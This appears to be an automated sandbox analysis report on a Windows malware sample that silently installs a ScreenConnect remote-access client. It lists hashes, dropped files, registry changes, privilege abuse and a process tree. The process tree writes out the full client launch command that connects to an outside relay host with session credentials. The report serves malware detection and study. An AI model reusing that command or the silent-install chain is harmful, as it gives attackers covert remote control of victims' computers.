Analysis
- max time kernel
150s - max time network
138s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/07/2026, 14:36
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
18 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
17 signatures
150 seconds
General
- Target 2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
- Size 20.5MB
- Sample260714-ry31yaht7s
- SHA256 fff400bf79279990bbcea98fcc99679f931a403d02ed7d14b8907ffc301b698c
- MD5 a7a8573088a9c8f132bfc9d7e99c24e4
- SHA1 f7dcdfc4e1cfcc2028ffb0c333d0feec46c7c47e
- SHA512 31513fef8252217078a0b68009787a97e932484300b2a4155207e3d6ad1847989983ae50c0b0e02bbadb1bd012ee06ce5c47193f94c4f2d8a7a31a944eb5e836
- SSDEEP 393216:/HETB0bJETB0/ETB0DETB0oETB0qETB0pETB0jETB0N:MObyOcOAOPONOSOgON
- TLSH T1CF272312B3DA956AD0BB5678D83952265A31BC044B22C7BF5394B97E1D32FC08E72373
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 3472 msiexec.exe 3 3356 rundll32.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\V: msiexec.exe - Drops file in Program Files directory 18 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\Old-app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe - Drops file in Windows directory 15 IoCs
description ioc Process File opened for modification C:\Windows\Installer\{1E567362-E074-32E2-B394-B8DCE574B372}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DF3AC63A0655A243FE.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI55B8.tmp msiexec.exe File created C:\Windows\Installer\{1E567362-E074-32E2-B394-B8DCE574B372}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e594f20.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\SourceHash{1E567362-E074-32E2-B394-B8DCE574B372} msiexec.exe File created C:\Windows\SystemTemp\~DF9DBCDC91A21AD4A6.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF8ED2B7C8F9707A33.TMP msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFE62DDD205F6A182D.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI5579.tmp msiexec.exe File opened for modification C:\Windows\Installer\e594f20.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\e594f22.msi msiexec.exe - Executes dropped EXE 2 IoCs
pid Process 3680 ScreenConnect.WindowsClient.exe 940 ScreenConnect.WindowsClient.exe - Loads dropped DLL 31 IoCs
pid Process 2544 MsiExec.exe 5980 rundll32.exe 5980 rundll32.exe 5980 rundll32.exe 5980 rundll32.exe 5980 rundll32.exe 5980 rundll32.exe 5980 rundll32.exe 5980 rundll32.exe 5980 rundll32.exe 2544 MsiExec.exe 3356 rundll32.exe 3356 rundll32.exe 3356 rundll32.exe 3356 rundll32.exe 3356 rundll32.exe 3356 rundll32.exe 3356 rundll32.exe 3356 rundll32.exe 3356 rundll32.exe 2544 MsiExec.exe 2516 rundll32.exe 2516 rundll32.exe 2516 rundll32.exe 2516 rundll32.exe 2516 rundll32.exe 2516 rundll32.exe 2516 rundll32.exe 2516 rundll32.exe 2516 rundll32.exe 2608 MsiExec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000cb7618cb91d4c6300000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801cb7618cb0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101cb7618cb000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3cb7618cb00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6cb7618cb00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe - Modifies registry class 32 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.3.11.9650\\b7710f403420da71\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-b7710f403420da71\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\PackageCode = "263765E1470E2E233B498BCD5E473B27" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\Version = "436404235" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-b7710f403420da71 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-b7710f403420da71\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (b7710f403420da71)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-b7710f403420da71\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-b7710f403420da71\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\ProductName = "ScreenConnect Client (b7710f403420da71)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\ProductIcon = "C:\\Windows\\Installer\\{1E567362-E074-32E2-B394-B8DCE574B372}\\DefaultIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-b7710f403420da71\URL Protocol msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.3.11.9650\\b7710f403420da71\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-b7710f403420da71 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\263765E1470E2E233B498BCD5E473B27\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\0C7A4409BD7133ED7B17F0044302AD17\263765E1470E2E233B498BCD5E473B27 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-b7710f403420da71\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-b7710f403420da71\shell msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\263765E1470E2E233B498BCD5E473B27 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\0C7A4409BD7133ED7B17F0044302AD17 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\263765E1470E2E233B498BCD5E473B27\Clients = 3a0000000000 msiexec.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4808 msiexec.exe 4808 msiexec.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3344 2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe Token: SeShutdownPrivilege 3472 msiexec.exe Token: SeIncreaseQuotaPrivilege 3472 msiexec.exe Token: SeSecurityPrivilege 4808 msiexec.exe Token: SeCreateTokenPrivilege 3472 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3472 msiexec.exe Token: SeLockMemoryPrivilege 3472 msiexec.exe Token: SeIncreaseQuotaPrivilege 3472 msiexec.exe Token: SeMachineAccountPrivilege 3472 msiexec.exe Token: SeTcbPrivilege 3472 msiexec.exe Token: SeSecurityPrivilege 3472 msiexec.exe Token: SeTakeOwnershipPrivilege 3472 msiexec.exe Token: SeLoadDriverPrivilege 3472 msiexec.exe Token: SeSystemProfilePrivilege 3472 msiexec.exe Token: SeSystemtimePrivilege 3472 msiexec.exe Token: SeProfSingleProcessPrivilege 3472 msiexec.exe Token: SeIncBasePriorityPrivilege 3472 msiexec.exe Token: SeCreatePagefilePrivilege 3472 msiexec.exe Token: SeCreatePermanentPrivilege 3472 msiexec.exe Token: SeBackupPrivilege 3472 msiexec.exe Token: SeRestorePrivilege 3472 msiexec.exe Token: SeShutdownPrivilege 3472 msiexec.exe Token: SeDebugPrivilege 3472 msiexec.exe Token: SeAuditPrivilege 3472 msiexec.exe Token: SeSystemEnvironmentPrivilege 3472 msiexec.exe Token: SeChangeNotifyPrivilege 3472 msiexec.exe Token: SeRemoteShutdownPrivilege 3472 msiexec.exe Token: SeUndockPrivilege 3472 msiexec.exe Token: SeSyncAgentPrivilege 3472 msiexec.exe Token: SeEnableDelegationPrivilege 3472 msiexec.exe Token: SeManageVolumePrivilege 3472 msiexec.exe Token: SeImpersonatePrivilege 3472 msiexec.exe Token: SeCreateGlobalPrivilege 3472 msiexec.exe Token: SeCreateTokenPrivilege 3472 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3472 msiexec.exe Token: SeLockMemoryPrivilege 3472 msiexec.exe Token: SeIncreaseQuotaPrivilege 3472 msiexec.exe Token: SeMachineAccountPrivilege 3472 msiexec.exe Token: SeTcbPrivilege 3472 msiexec.exe Token: SeSecurityPrivilege 3472 msiexec.exe Token: SeTakeOwnershipPrivilege 3472 msiexec.exe Token: SeLoadDriverPrivilege 3472 msiexec.exe Token: SeSystemProfilePrivilege 3472 msiexec.exe Token: SeSystemtimePrivilege 3472 msiexec.exe Token: SeProfSingleProcessPrivilege 3472 msiexec.exe Token: SeIncBasePriorityPrivilege 3472 msiexec.exe Token: SeCreatePagefilePrivilege 3472 msiexec.exe Token: SeCreatePermanentPrivilege 3472 msiexec.exe Token: SeBackupPrivilege 3472 msiexec.exe Token: SeRestorePrivilege 3472 msiexec.exe Token: SeShutdownPrivilege 3472 msiexec.exe Token: SeDebugPrivilege 3472 msiexec.exe Token: SeAuditPrivilege 3472 msiexec.exe Token: SeSystemEnvironmentPrivilege 3472 msiexec.exe Token: SeChangeNotifyPrivilege 3472 msiexec.exe Token: SeRemoteShutdownPrivilege 3472 msiexec.exe Token: SeUndockPrivilege 3472 msiexec.exe Token: SeSyncAgentPrivilege 3472 msiexec.exe Token: SeEnableDelegationPrivilege 3472 msiexec.exe Token: SeManageVolumePrivilege 3472 msiexec.exe Token: SeImpersonatePrivilege 3472 msiexec.exe Token: SeCreateGlobalPrivilege 3472 msiexec.exe Token: SeCreateTokenPrivilege 3472 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3472 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3472 msiexec.exe 3472 msiexec.exe - Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 3472 msiexec.exe 4808 msiexec.exe 2544 MsiExec.exe 2608 MsiExec.exe 940 ScreenConnect.WindowsClient.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3344 wrote to memory of 3472 3344 2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe 88 PID 4808 wrote to memory of 2544 4808 msiexec.exe 90 PID 2544 wrote to memory of 5980 2544 MsiExec.exe 91 PID 2544 wrote to memory of 3356 2544 MsiExec.exe 92 PID 2544 wrote to memory of 2516 2544 MsiExec.exe 93 PID 4808 wrote to memory of 4748 4808 msiexec.exe 99 PID 4808 wrote to memory of 2608 4808 msiexec.exe 101 PID 4808 wrote to memory of 3680 4808 msiexec.exe 102 PID 3680 wrote to memory of 940 3680 ScreenConnect.WindowsClient.exe 103 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3344 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.3.11.9650\b7710f403420da71\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\2026-07-14_a7a8573088a9c8f132bfc9d7e99c24e4_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"2⤵
- Badlisted process makes network request
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3472
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4808 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A556CDC8C86FF59C87D07D97FD0C8328 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2544 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF807.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240712046 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5980
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFD57.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240713234 8 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw3⤵
- Badlisted process makes network request
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3356
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI334.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240714656 16 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2516
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:4748
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A750C2B9471C55BAFD4B55C1424DE5272⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2608
-
-
C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsClient.exe" "Rerun" "?e=Access&y=Host&h=relay.positive.tech&p=8041&s=4860c8cd-2754-4dfc-96b2-d0f05156dddf&k=BgIAAACkAABSU0ExAAgAAAEAAQDpl9sVGtz7NDfl1oBwWXbkVSUHocJx37vey1Y4rdzvfJ7dgPGsxDIqIRAO%2bS%2fQvPltdtYex5ibb25PP3S6OvWFBgb4ADBs1bX1Ngsq9ut09XwUWXLyoYkEunV9qEQAmN6gct95dM6O9OZPtM6qhhkR7NJ3RSV1eO%2f9b3%2fxtJFAQatwLCo3o2%2bUqxqDBefCpS9aiQqVAU2Y9m9DdeitMnDzb%2b7tDOSIbgUPZNlIPE7JF5JSRP90FeSOQmrePDYMYiSKQnvW2omwGmiLDFS7TbxBt%2bQTE3BiTzTznbfEqmwPfNy7BKAt5Gp9QbZuotoQncioJquCb3qJxkPef8gMPfC8&n=BNIT%2bIg7DVRUxf%2bt%2f5%2fEVnVkm28dc1TJd%2fxWdzfjjwwbI8Oui35%2fucig4ZlE5l0OcC58pPimlft5nMzdhueenKxhKYYWTmpx0OQwKgoGZ3HyXxMUSgdQzKWHe0cvrs3UBxz9lVv3chIreuUzXCdxwZ%2fic%2bMGojaJmcv%2ffKmTNGer&l=2&i=EAG-209"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\ScreenConnect.WindowsClient.exe" "?e=Access&y=Host&h=relay.positive.tech&p=8041&s=4860c8cd-2754-4dfc-96b2-d0f05156dddf&k=BgIAAACkAABSU0ExAAgAAAEAAQDpl9sVGtz7NDfl1oBwWXbkVSUHocJx37vey1Y4rdzvfJ7dgPGsxDIqIRAO%2bS%2fQvPltdtYex5ibb25PP3S6OvWFBgb4ADBs1bX1Ngsq9ut09XwUWXLyoYkEunV9qEQAmN6gct95dM6O9OZPtM6qhhkR7NJ3RSV1eO%2f9b3%2fxtJFAQatwLCo3o2%2bUqxqDBefCpS9aiQqVAU2Y9m9DdeitMnDzb%2b7tDOSIbgUPZNlIPE7JF5JSRP90FeSOQmrePDYMYiSKQnvW2omwGmiLDFS7TbxBt%2bQTE3BiTzTznbfEqmwPfNy7BKAt5Gp9QbZuotoQncioJquCb3qJxkPef8gMPfC8&n=BNIT%2bIg7DVRUxf%2bt%2f5%2fEVnVkm28dc1TJd%2fxWdzfjjwwbI8Oui35%2fucig4ZlE5l0OcC58pPimlft5nMzdhueenKxhKYYWTmpx0OQwKgoGZ3HyXxMUSgdQzKWHe0cvrs3UBxz9lVv3chIreuUzXCdxwZ%2fic%2bMGojaJmcv%2ffKmTNGer&l=2&i=EAG-209"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:940
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:4724
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e594f21.rbs
- Size 10KB
- SHA256 9fdf44ad67c971074bb52627717bd339ede50d541891d7039bcd241f5b05b17a
- MD5 001029528a5b211efbe3ad4c0afaea62
- SHA1 35b48cec048bace7ff741da7bd38c740f99d3187
- SHA512 af3df79a02570a64f7b1bd6e3e097ceb5a62a571c15275af1252dbdc3580fbe4510fd5eca6094f5a1c1cfdf373bfee10d7c88d6d4c56e2808de1a91af488f6b9
- SSDEEP 96:RMgIgUvPXy4ARPRGUj9f3orCXkhkOMUfbsCsThqoUfbsC6jn5k7kV2ThqkHD/+5k:RMZVvPXy4wfSrCyrTjI8TjX0Knpbpv
- TLSH T15C224E223744A1D1F9179F36C7230A507BB2DBE06311221B92CDB5B95E5A3CA1F3E2C9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\Client.Override.en-US.resources
- Size 512B
- SHA256 c2be04f40f4962584c96da2593b37e5de5d880f840544423d33aeadcbc9064b0
- MD5 ef9d030a0bfada84e7a3da156672bc7f
- SHA1 d7f19a3d9186525cc7ef2b6d9f30dde54b14f94f
- SHA512 4c01ab890237685f46b75807ac4d5ae6d87a8f3c76d9ec1bc301cb1b418c4645034f75bdf34a35a61e1420d17e54da0b4b9a715bf84d865f29bbd7bc31ecb8b2
- TLSH T1A6F02B6623BC1165D5F32F7B247F30C1173BBD299428C05C1850201C4663F05CAE0B33
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (b7710f403420da71)\Client.Override.resources
- Size 7KB
- SHA256 a7bc2f603139abe7f0c28ecc95b9d45626fc535c6d3c0f3790490eda1349e3bd
- MD5 4a244ab211fdda1a345070e8b0974400
- SHA1 6a8ff0dcf3798ce20d37bd0fc084b54ec817a02a
